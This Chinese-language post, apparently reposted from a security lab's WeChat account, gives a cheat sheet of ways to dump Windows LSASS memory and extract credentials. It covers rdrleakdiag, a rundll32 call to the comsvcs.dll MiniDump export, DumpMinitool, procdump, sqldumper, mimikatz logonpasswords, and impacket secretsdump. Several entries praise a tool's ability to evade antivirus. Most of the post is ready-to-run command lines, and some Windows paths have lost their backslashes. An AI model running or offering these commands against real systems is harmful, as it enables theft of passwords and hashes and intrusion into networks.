Lsass常用抓取方法

Lsass介绍

本地安全认证子系统服务（Local Security Authority Subsystem Service，缩写 LSASS），是微软窗口操作系统的一个内部程序，负责执行Windows系统安全政策。它在用户登录时电脑单机或服务器时，验证用户身份，管理用户密码变更，并产生访问字符。它也会在窗口安全记录档中留下应有的记录。

简单说就是Lsass.exe这个进程中会存储本地/域在当前机器登录过的用户信息，权限足够时我们可以导出其中存储的用户信息方便后续操作。

Task Manager

这个方式通杀大部分AV！

需要权限：Administrator

Rdrleakdiag

介绍：rdrleakdiag，主要用于windows资源泄露诊断。公开资料显示win7、8、10、server2012以上默认安装。

默认存放路径：

C:WindowsSystem32

需要权限：Administrator

使用win10pro测试，在powershell成功导出，cmd未成功。

rdrleakdiag.exe /p pid /o outpath /fullmemdmp /wait 1          rdrleakdiag.exe /p pid /o outpath /fullmemdmp /snap

执行后会生成 .hlk后缀临时文件，临时文件会自动删除。

Tips：shell等方式执行命令使要注意不要多次执行，机器容易卡住。    

Comsvcs

介绍：comsvcs.dll全称为COM+ Services DLL，它是Microsoft COM+服务的一个组件，提供了COM+运行时所需的核心服务和功能,包括对象池管理、事务处理、安全管理等。

默认存放路径：

C:windowssystem32comsvcs.dll

需要权限：SYSTEM

使用comsvcs Dump Lsass.exe时需要开启SeDebugPrivilege权限。管理员权限的cmd下默认支持SeDebugPrivilege权限，但是默认状态：Disabled。Powershell下默认状态：Enabled。

查看lsass.exe进程PID:

调用comsvcs.dll导出函数MiniDump，导出Lsass。

基础用法：rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump 832 C:toolstmplsass.dmp full

DumpMinitool

介绍：Visual Studio 2022自带的工具。之前可以免杀dump，现在还能免杀部分AV。我的VS2022没找到这个工具，网上下的显示数字签名已经过期。

默认存放路径：

C:Program FilesMicrosoft Visual Studio2022CommunityCommon7IDEExtensionsTestPlatformExtensions

需要权限：Administrator    

DumpMinitool.exe --file OutFileName --processId PID --dumpType Full

Procdump

介绍：ProcDump用于监视应用程序的CPU峰值并在峰值期间创建故障转储。然后管理员或软件开发人员可以使用故障转储来确定峰值的原因。ProcDump 支持监视挂起的窗口和未处理的异常，还可以根据系统性能计数器的值创建转储。带有微软签名所以自带一点点免杀效果，我的版本好像比较老，可以下个新的看看证书是否有效。    

需要权限：User

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

类似的带签名的工具还有：SQLDumper、createdump    

目标有Microsoft SQL和Office服务时会自带SQLDumper

默认存放路径：

MSSQL：C:Program FilesMicrosoft SQL Server100SharedOffice：C:Program Files (x86)Microsoft OfficerootvfsProgramFilesX86Microsoft AnalysisAS OLEDB140SQLDumper.exe

用法：sqldumper.exe PID 0 0x0110

Mimikatz

这工具就直接上命令了，没啥好说的。

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

Hash文件解密

mimikaz解密

privilege::debug                                    #权限提升sekurlsa::minidump Lsass.dmp            #加载dmp文件    sekurlsa::logonPasswords full                  #提取解密

impacket解密

secretsdump.py -system /root/vssadmin/SYSTEM -ntds /root/vssadmin/ntds.dit LOCAL

​

原文始发于微信公众号（YongYe 安全实验室）：Lsass常用抓取方法